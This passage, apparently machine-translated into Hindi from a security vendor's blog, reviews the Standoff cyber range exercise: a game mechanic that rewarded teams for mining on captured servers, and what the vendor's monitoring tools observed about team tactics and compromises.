द स्टैंडऑफ़ में एक और नवाचार गेमिंग माइनर्स का आगमन था। किंवदंती के अनुसार, टीम कब्जा किए गए सर्वर का उपयोग खनिक के रूप में कर सकती थी, जो उन्हें अतिरिक्त अंक लाती थी। पारंपरिक क्रिप्टोकरेंसी के बजाय, उन्होंने DDoS कॉइन का खनन किया - एक सर्वर पर DDoS हमले पर खर्च किए गए प्रयास के बराबर मुद्रा। टीएलएस 1.2 हैंडशेक से प्राप्त डेटा प्रूफ-ऑफ-वर्क के रूप में कार्य करता है और अधिक खनिक ने टीएलएस को लक्ष्य सर्वर के साथ हैंडशेक किया है, उच्चतर एक नया ब्लॉक खोजने और डीडीओएस हमले के आयोजक से अपना इनाम प्राप्त करने की उसकी संभावना थी।

क्लाइंट गो में लिखा गया था और यह विंडोज और लिनक्स दोनों पर काम कर सकता है। इस विचार को पहली बार लागू किया गया था, हालांकि सभी टीमें इसे लागू करने में कामयाब नहीं रहीं, लेकिन इसे लॉन्च करने के प्रयास गेमिंग गेमिंग के कई सर्वरों पर देखे गए:



जूमला नोड (100.64.154.147) पर खनिक चलाने का प्रयास करें



SPUTNIK अवसंरचना से खनिक चलाना (10.106.60.0/24)



खेल के हिस्से के रूप में, टीमें क्रिप्टोक्यूरेंसी को खान कर सकती हैं और खेल बिंदुओं के लिए इसका आदान-प्रदान कर सकती हैं। आधी टीम ब्लॉक निकालने के लिए पहले कैप्चर किए गए सर्वर का उपयोग करने में कामयाब रही। खेल तर्क में एक विनिमय घटक भी था - मुद्रा खनन की मात्रा में तेज बदलाव के साथ, इसकी विनिमय दर कम हो गई। इस प्रकार, मूल कार्यों को पूरा किए बिना सट्टा संचालन करना और अंक अर्जित करना संभव था। लेकिन चूंकि इस विचार को पहले इस तरह के खेलों में लागू नहीं किया गया था, इसलिए टीमें इसका सही इस्तेमाल नहीं कर सकीं और इससे खेल के पाठ्यक्रम पर काफी असर नहीं पड़ा।

खनन किए गए ब्लॉकों की संख्या के संदर्भ में, कजाकस्तानी CARKA टीम ने नेतृत्व किया, जो गेमिंग इंफ्रास्ट्रक्चर पर खनिक लॉन्च करने वाला पहला था। यहां हम इस तथ्य के कारण टीमों के नेटवर्क नंबर से उनके नाम तक ले जाने में सक्षम थे कि उनके पहचानकर्ताओं में ब्लॉक के बारे में जानकारी शामिल थी और उन्हें गणना करते समय ध्यान में रखा गया था। सामान्य तौर पर, यह विचार अच्छा साबित हुआ, और निश्चित रूप से इसे अगले द स्टैंडऑफ़ में देखा जा सकता है।

आउटपुट के बजाय

अंतिम गतिरोध गर्म था - 12 टीमों ने शहर के बुनियादी ढांचे को सक्रिय रूप से खोजा और हैक किया। हमारे उत्पाद ने हमें "जासूसी" करने की अनुमति दी थी कि कैसे खेल प्रतिभागियों ने अभिनय किया, उन्होंने क्या रणनीति और उपकरण चुने और क्या उनका लक्ष्य बन गया। हमने देखा कि कैसे उन्होंने कार्यालय के डोमेन बुनियादी ढांचे के साथ बातचीत की, एक मशीन के संक्रमण के साथ शुरू हुआ और पूरे डोमेन की जब्ती और अगले एसीएस नेटवर्क में संक्रमण के साथ समाप्त हुआ। द स्टैंडऑफ़ जैसी एक घटना के दौरान, उत्पादों का एक बड़ा भार होता है: मैक्सपैट्रॉल सिएम ने 20,000 ईपीएस के साथ मुकाबला किया, और पीटी एनएडी ने दोनों दिनों में नेटवर्क ट्रैफ़िक के 3 से अधिक टेराबाइट्स संसाधित किए, न कि नेटवर्क बुनियादी ढाँचे का उल्लेख करने के लिए: राउटर, स्विच और फायरवॉल।

वर्चुअल ऑफ़िस का ऐसा समझौता वास्तविक लोगों के साथ सुरक्षा और नियंत्रण के उचित साधन के बिना हो सकता है। एक नियम के रूप में, यह मूल्यवान डेटा जैसे पत्राचार, वित्तीय डेटा और कर्मचारियों / उपयोगकर्ताओं के व्यक्तिगत डेटा के रिसाव की ओर जाता है।

अंतहीन स्कैन, ब्रूट्स और सभी प्रकार की कमजोरियों का फायदा उठाने के प्रयासों के बीच, उत्पादों ने यह निर्धारित करने में मदद की कि गेम इन्फ्रास्ट्रक्चर सर्वर को कैसे हैक किया गया था। सफल हमलों और वेब गोले, दूरस्थ शान्ति, सुरंगों और मेजबान लॉगिन जैसे सफल समझौते के निशान निर्धारित किए गए थे। यह सब विशेषज्ञों को उत्पादों को बेहतर बनाने में मदद करता है।



खेल के दौरान टीमों के वीपीएन कनेक्शनों के आंकड़ों के इस स्क्रीनशॉट में, आप देख सकते हैं कि अंतर्राष्ट्रीय गतिरोध कितना था: वीपीएन कनेक्शन राज्यों, कजाकिस्तान, नीदरलैंड्स और यूरोप के आधे हिस्से में सर्वर के साथ स्थापित किए गए थे! वैसे, द स्टैंडऑफ़ में राज्यों या यूरोप से कोई टीम नहीं थी, लेकिन कजाकिस्तान की एक टीम थी।